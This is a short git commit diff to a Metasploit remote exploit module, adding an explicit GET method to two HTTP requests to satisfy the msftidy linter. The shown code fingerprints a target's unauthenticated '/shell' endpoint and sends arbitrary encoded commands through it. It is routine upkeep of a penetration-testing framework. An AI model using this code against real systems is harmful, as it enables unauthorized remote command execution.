msftidy error updated 2.0

bug/bundler_fix
itsmeroy2012 2017-03-10 22:16:27 +05:30
parent d9727d991f
commit c0f17cf6b8
1 changed files with 2 additions and 0 deletions

View File

@ -60,6 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote
begin
fingerprint = Rex::Text::rand_text_alpha(rand(10) + 6)
res = send_request_cgi(
'method' => "GET",
'uri' => "/shell?echo+#{fingerprint}",
'headers' => { 'Connection' => 'Keep-Alive' }
)
@ -75,6 +76,7 @@ class MetasploitModule < Msf::Exploit::Remote
def execute_command(cmd, opts)
begin
send_request_cgi(
'method' => "GET",
'uri' => "/shell?#{Rex::Text.uri_encode(cmd, 'hex-all')}",
'headers' => { 'Connection' => 'Keep-Alive' }
)